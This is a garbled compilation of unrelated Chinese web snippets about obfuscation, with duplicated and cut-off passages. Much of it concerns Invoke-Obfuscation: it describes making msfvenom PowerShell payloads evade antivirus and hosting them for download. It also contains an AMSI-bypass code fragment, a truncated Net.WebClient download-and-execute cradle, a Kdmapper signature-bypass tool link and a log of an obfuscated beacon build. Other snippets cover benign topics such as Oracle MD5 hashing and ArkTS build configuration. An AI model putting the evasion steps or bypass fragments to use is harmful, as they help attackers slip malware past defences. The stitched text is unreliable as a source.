更新时间:2021-05-31 Invoke-Obfuscation下载地址: https://github.com/danielbohannon/Invoke-Obfuscation Invoke-Obfuscation 模块使用 导入模块 Import-Module C:\0_poweshell\Invoke-Obfuscation-master\Invoke-Obfuscation.psd1 这里注意,一定要写上完整路径 加载模块 Invoke-Obfuscation ? 支持的加密方法: ? 文件路径: C:\0_poweshell\Invoke-Obfuscation-master\1.ps1 攻击机开启监听模式: ? windows Defender msfvenom生成powershell攻击脚本和Invoke-Obfuscation混淆方法在Encoding模式下的静态查杀效果: ? ?
关于Revoke-Obfuscation Revoke-Obfuscation是一款功能强大的PowerShell混淆检测框架,该框架基于PowerShell开发,并且兼容PowerShell v3.0 ,也难逃Revoke-Obfuscation的法眼。 Revoke-Obfuscation可以在100-300毫秒内轻松检测大多数输入的PowerShell脚本。 \Revoke-Obfuscation.psd1 除此之外,我们也可以直接从PowerShell Gallery来安装Revoke-Obfuscation: Install-Module Revoke-ObfuscationImport-Module 项目地址 Revoke-Obfuscation: https://github.com/danielbohannon/Revoke-Obfuscation 参考资料: https://www.fireeye.com
关于Invoke-Obfuscation Invoke-Obfuscation是一款功能强大的PowerShell代码混淆工具,该工具兼容PowerShell v2.0+,能够帮助广大研究人员对PowerShell (向右滑动,查看更多) 工具安装 我们可以直接使用下列命令安装并调用Invoke-Obfuscation: Import-Module . /Invoke-Obfuscation.psd1Invoke-Obfuscation 工具使用 虽然所有的模糊处理层都构建在单独的脚本中,但大多数用户都会发现Invoke-Obfuscation /Invoke-Obfuscation.psd1Invoke-Obfuscation 工具运行截图 许可证协议 本项目的开发与发布遵循Apache-2.0开源许可证协议。 项目地址 Invoke-Obfuscation: https://github.com/danielbohannon/Invoke-Obfuscation 精彩推荐
至于实现方式也是很容易就能看出来的,三个函数 ASCLL function ASCII_Obfuscation($String) { $PowerShell = "IEX(-Join((@)|%{[ $String = [System.Text.Encoding]::ASCII.GetBytes($String) -join ','; $PowerShell = Character_Obfuscation ($PowerShell); $PowerShell = $PowerShell -replace "@","$String"; $CMD = Character_Obfuscation($CMD ); $CMD = $CMD -replace "@","$String"; Return $PowerShell,$CMD; } XOR function BXOR_Obfuscation ,"$String"; $CMD = $CMD -replace "#","$Key"; Return $PowerShell,$CMD; } base64 function Base64_Obfuscation
在powershell中最常使用的编码就是base64编码了,今天主要说一下Invoke-Obfuscation 这个powershell混淆编码框架,这也是著名的组织APT32 (海莲花)经常使用的一个工具 地址:https://github.com/danielbohannon/Invoke-Obfuscation 下载后,在当前目录的ps命令行中输入 Import-Module. \Invoke-Obfuscation.psd1; Invoke-Obfuscation 装载框架 ? 我们也可以直接在ps的命令行中直接进行编码 Invoke-Obfuscation -ScriptBlock {echo xss} -Command ‘Encoding\1,Launcher\PS\67′
.NET 中各种混淆(Obfuscation)的含义、原理、实际效果和不同级别的差异(使用 SmartAssembly) 发布于 2018-08-19 12:42 名称混淆 Obfuscation 修改类型、字段、属性、方法等的名称。 流程混淆 Control Flow Obfuscation 修改方法内的执行逻辑,使其执行错综复杂。 名称混淆 Obfuscation 类/方法名与字段名的混淆 名称混淆中,类名和方法名的混淆有三个不同级别: 等级 1 是使用 ASCII 字符集 等级 2 是使用不可见的 Unicode 字符集 等级 流程混淆 Control Flow Obfuscation 列举我在 Whitman.Core 中的方法: public string Generate(bool pascal) { var builder mangling - SmartAssembly 6 - Product Documentation 本文会经常更新,请阅读原文: https://walterlv.com/post/obfuscation-configurations-of-smart-assembly.html
(INPUT_STRING => passwd)) ; 1. dbms_obfuscation_toolkit.md5,可以创建数据的MD5哈希值。 MD5算法基于给定的数据生成一个128位的散列值,确保数据传输的一致性,其语法如下所示,接收RAW类型和VARCHAR2类型, DBMS_OBFUSCATION_TOOLKIT.MD5( input IN RAW) RETURN raw_checksum; DBMS_OBFUSCATION_TOOLKIT.MD5( input_string IN VARCHAR2 ,他允许应用使用DES或者3DES加密数据,同时他指出DBMS_OBFUSCATION_TOOLKIT已经过时了,DBMS_CRYPTO可以替代他,但如果是10g以前的版本,只可以使用DBMS_OBFUSCATION_TOOLKIT Note: DBMS_OBFUSCATION_TOOLKIT is deprecated.
(INPUT_STRING => passwd)) ; 1. dbms_obfuscation_toolkit.md5,可以创建数据的MD5哈希值。 MD5算法基于给定的数据生成一个128位的散列值,确保数据传输的一致性,其语法如下所示,接收RAW类型和VARCHAR2类型, DBMS_OBFUSCATION_TOOLKIT.MD5( input 我们从官方文档《Database PL/SQL Packages and Types Reference》,可以找到这个存储过程DBMS_OBFUSCATION_TOOLKIT,他允许应用使用DES或者 3DES加密数据,同时他指出DBMS_OBFUSCATION_TOOLKIT已经过时了,DBMS_CRYPTO可以替代他,但如果是10g以前的版本,只可以使用DBMS_OBFUSCATION_TOOLKIT Note: DBMS_OBFUSCATION_TOOLKIT is deprecated.
eMule 的 通信协议加密混淆功能 学过中间语言java or C# 的朋友们应该对obfuscation 的概念比较熟悉了。 针对中间语言的obfuscation比较容易理解,但针对protocol的obfuscation却连想都没有想过。想起了 javaeye 上dlee 说的:正是基础限制了很多人,使他们不敢想。
3.编码混淆 PowerShell的免杀可以用Invoke-Obfuscation,Invoke-Obfuscation主要是对ps1脚本进行免杀,需要现有一个ps的payload。 进入Invoke-Obfuscation目录后,在PowerShell中执行命令 Import-Module . \Invoke-Obfuscation.psd1 Invoke-Obfuscation ?
文件准备工作1.已混淆的工程和报错日志,这里以混淆工程为例,混淆规则配置如下:# 开启属性名称混淆 -enable-property-obfuscation# 开启字面量名称混淆 -enable-string-property-obfuscation # 开启文件/文件夹名称混淆 -enable-filename-obfuscation# 开启顶层作用域名称混淆(作用于类名、方法名) -enable-toplevel-obfuscation# 开启 export导出对象混淆 -enable-export-obfuscation两次运行工程分别点击工程内的Native按钮和ArkTS按钮获取混淆后的报错日志。
Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True) 绕过方法混淆等,请参考Invoke-Obfuscation https://github.com/danielbohannon/Invoke-Obfuscation 远程加载PowerShell脚本 代理 IEX (New-Object Net.WebClient 此外,它还可以帮助 Blue Teams 测试检测的有效性,这些检测可能适用于 Invoke-Obfuscation 产生的输出,但在处理 Invoke-CradleCrafter 时可能会达不到要求,
业务场景:在做安全等保问题,需要将原来保存的用户明文密码改成md5加密的密文密码,数据库是Oracle的 首先Oracle要管理员账号登录才可以调md5函数,具体函数是DBMS_OBFUSCATION_TOOLKIT.MD5 IN VARCHAR2) RETURN VARCHAR2 IS retval varchar2(32); BEGIN retval := utl_raw.cast_to_raw(DBMS_OBFUSCATION_TOOLKIT.MD5
Kdmapper-Bypass360 过360拦截加载无驱动签名 地址:https://github.com/fuluke/Kdmapper-Bypass360 Beginners-Guide-to-Obfuscation 逃避检测:混淆初学者指南 地址:https://github.com/BC-SECURITY/Beginners-Guide-to-Obfuscation Web-sec WEB安全手册(红队安全技能栈
发布模式配置(适用于release构建):{ "name": "release", "debuggable": false, "arkOptions": { "obfuscation": { /obfuscation-rules.txt" ] } } }}debuggable:设置为false,表示此构建模式下的应用不可被调试。 obfuscation:代码混淆配置,增强应用安全性。enable:启用代码混淆。files:指定混淆规则文件的路径。 调试模式配置(适用于debug构建):{ "name": "debug", "debuggable": true, "arkOptions": { "obfuscation": {
业务场景:在做安全等保问题,需要将原来保存的用户明文密码改成md5加密的密文密码,数据库是Oracle的 首先Oracle要管理员账号登录才可以调md5函数,具体函数是DBMS_OBFUSCATION_TOOLKIT.MD5 IN VARCHAR2) RETURN VARCHAR2 IS retval varchar2(32); BEGIN retval := utl_raw.cast_to_raw(DBMS_OBFUSCATION_TOOLKIT.MD5
文件帮助开发者配置混淆文件;如果设置为true,会自动配置混淆规则,并删除hmrouter_obfuscation_rules.txt文件}配置文件读取规则为 模块 > 工程 > 默认 优先使用本模块内的配置 将其保存在当前模块hmrouter_obfuscation_rules.txt文件中,并在编译阶段将该文件自动加入到混淆配置文件files列表中,实现混淆自动配置效果。 "buildOptionSet": [ { "name": "release", "arkOptions": { "obfuscation": { /obfuscation-rules.txt" ] } } } }, ],{ "saveGeneratedFile": true 开发者需要自行将生成的混淆文件hmrouter_obfuscation_rules.txt文件加入到混淆配置文件files列表中。
2.利用开源python程序Invoke-Obfuscation对ps1脚本进行免杀,生成面杀版ps1脚本文件,并上传到自己的web服务器备用, Github地址:https://github.com/ danielbohannon/Invoke-Obfuscation(免杀过程在这里不赘述了,请自行查看Invoke-Obfuscation的README.md)。
Before obfuscation file's PE IMPHASH: 17b461a082950fc6332228572138b80c [.] After obfuscation file's PE IMPHASH: 378d9692fe91eb54206e98c224a25f43 [>] Generating output of dcd6e13754ee753928744e27e98abd16,298de19d4a987d87ac83f5d2d78338121ddb3cb7,0a64768c46831d98c5667d26dc731408a5871accefd38806b2709c66cd9d21e4,17b461a082950fc6332228572138b80c 2022-06-10 03:15:52,y49981l3.bin,mgeeky@commandoVM,Obfuscation e216cd8205f13a5e3c5320ba7fb88a3dbb6f53ee8490aa8b4e1baf2c6684d27b,378d9692fe91eb54206e98c224a25f43 2022-06-10 03:15:53,nyu2rbyx.bin,mgeeky@commandoVM,Obfuscation e4966576bdb67e389ab1562e24079ba9bd565d32,97ba4b17c9bd9c12c06c7ac2dc17428d509b64fc8ca9e88ee2de02c36532be10,9aebf3da4677af9275c461261e5abde3 2022-06-10 03:15:53,beacon-obf.exe,mgeeky@commandoVM,Obfuscation
代码混淆的学术定义如下: 代码混淆(code obfuscation)是指将计算机程序的代码,转换成一种功能上等价,所谓功能上的等价是指其在变换前后功能相同或相近。 目前对于混淆的分类,普遍是以Collberg 的理论为基础,分为布局混淆(layout obfuscation)、数据混淆(data obfuscation)、控制混淆(control obfuscation )和预防混淆(preventive obfuscation)这四种类型。